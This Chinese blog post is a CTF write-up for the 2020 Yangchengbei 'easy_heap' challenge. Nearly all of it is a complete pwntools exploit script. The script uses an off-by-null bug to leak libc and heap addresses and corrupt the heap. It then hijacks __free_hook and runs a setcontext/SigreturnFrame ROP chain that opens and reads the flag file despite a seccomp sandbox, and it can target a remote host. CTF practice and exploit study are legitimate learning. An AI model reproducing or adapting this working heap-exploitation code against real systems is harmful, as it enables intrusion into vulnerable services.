2020羊城杯 easy_heap EXP

警告
本文最后更新于 2021-07-06,文中内容可能已过时。

off by null + 有 show 函数 leak + glibc2.30 沙箱,总共花了大概一个多小时,被 libc 文件卡了一下。

做完之后看了一下官方 Writeup,说是修改自 balsn ctf 2019 的 plaintext,使用 largebins 的残留指针来构造。这实际上对于有 leak 的题目是不必要的,对于这类题目我已经写过一篇很详细的文章,有兴趣的师傅可以先看看那篇 https://blog.wjhwjhn.com/archives/193/

PS:glibc2.30 和 glibc2.31 和 glibc2.32 的 unsortedbin leak 的 libc 地址居然末尾三字节是一样的。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
from pwn import *

elf = None
libc = None
file_name = "./ycb_2020_easy_heap"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("Choice:", str(idx))


def add(size):
    choice(1)
    sh.sendlineafter("Size: ", str(size))


def edit(idx, content):
    choice(2)
    sh.sendlineafter("Index: ", str(idx))
    sh.sendlineafter("Content: ", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("Index: ", str(idx))


def show(idx):
    choice(4)
    sh.sendlineafter("Index: ", str(idx))
    sh.recvuntil('Content: ')


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(0x418)  # 0
    add(0x18)  # 1
    add(0x18)  # 2
    for i in range(0xB):
        add(0xF8)  # 3 - 13
    delete(0)

    add(0x418)  # 0
    show(0)
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1eabe0)

    libc.address = libc_base
    delete(1)
    delete(2)

    add(0x18)  # 1
    add(0x18)  # 2
    show(1)
    heap_base = u64(sh.recvuntil('[+]Done!', drop=True)[-6:].ljust(8, '\x00')) - 0x6c0
    log.success("heap_base:\t" + hex(heap_base))

    for i in range(7):
        delete(3 + i)

    heap_11_ptr = heap_base + 0xef0
    edit(11, flat(heap_11_ptr + 0x20 - 0x18, heap_11_ptr + 0x20 - 0x10, heap_11_ptr) + 'a' * 0xD8 + p64(0x100))
    delete(12)

    for i in range(7):
        add(0xF8)  # 3 - 9

    add(0xF8)  # 10 == 11
    add(0xF8)  # 12
    add(0xF8)  # 13

    delete(10)
    delete(12)
    edit(11, p64(libc.sym['__free_hook']))
    add(0xF8)  # 10
    add(0xF8)  # 12 __free_hook

    delete(13)
    delete(10)
    edit(11, p64(libc.sym['__free_hook'] + 0xF8))
    add(0xF8)  # 10
    add(0xF8)  # 13 __free_hook + 0xF8

    pop_rdi_addr = libc.address + 0x26bb2
    pop_rsi_addr = libc.address + 0x2709c
    pop_rdx_r12_addr = libc.address + 0x11c421

    fake_frame_addr = libc.sym['__free_hook'] + 0x10
    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = fake_frame_addr + 0xF8
    frame.rsp = fake_frame_addr + 0xF8 + 0x10
    frame.rip = pop_rdi_addr + 1  # : ret
    rop_data = [
        libc.sym['open'],
        pop_rdx_r12_addr,
        0x100,
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        libc.sym['read'],
        pop_rdi_addr,
        fake_frame_addr + 0x200,
        libc.sym['puts']
    ]

    gadget = libc.address + 0x0000000000154b90  #:  mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    frame_data = str(frame).ljust(0xF8, '\x00')
    payload = p64(gadget) + p64(fake_frame_addr) + frame_data[:0x20] + p64(libc.sym['setcontext'] + 61) + frame_data[
                                                                                                          0x28:] + "flag\x00\x00\x00\x00" + p64(
        0) + flat(rop_data)
    edit(13, payload[0xF8:])
    edit(12, payload[:0xF8])
    # gdb.attach(sh, "b *" + hex(libc.sym['setcontext'] + 61))
    delete(12)

    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
0%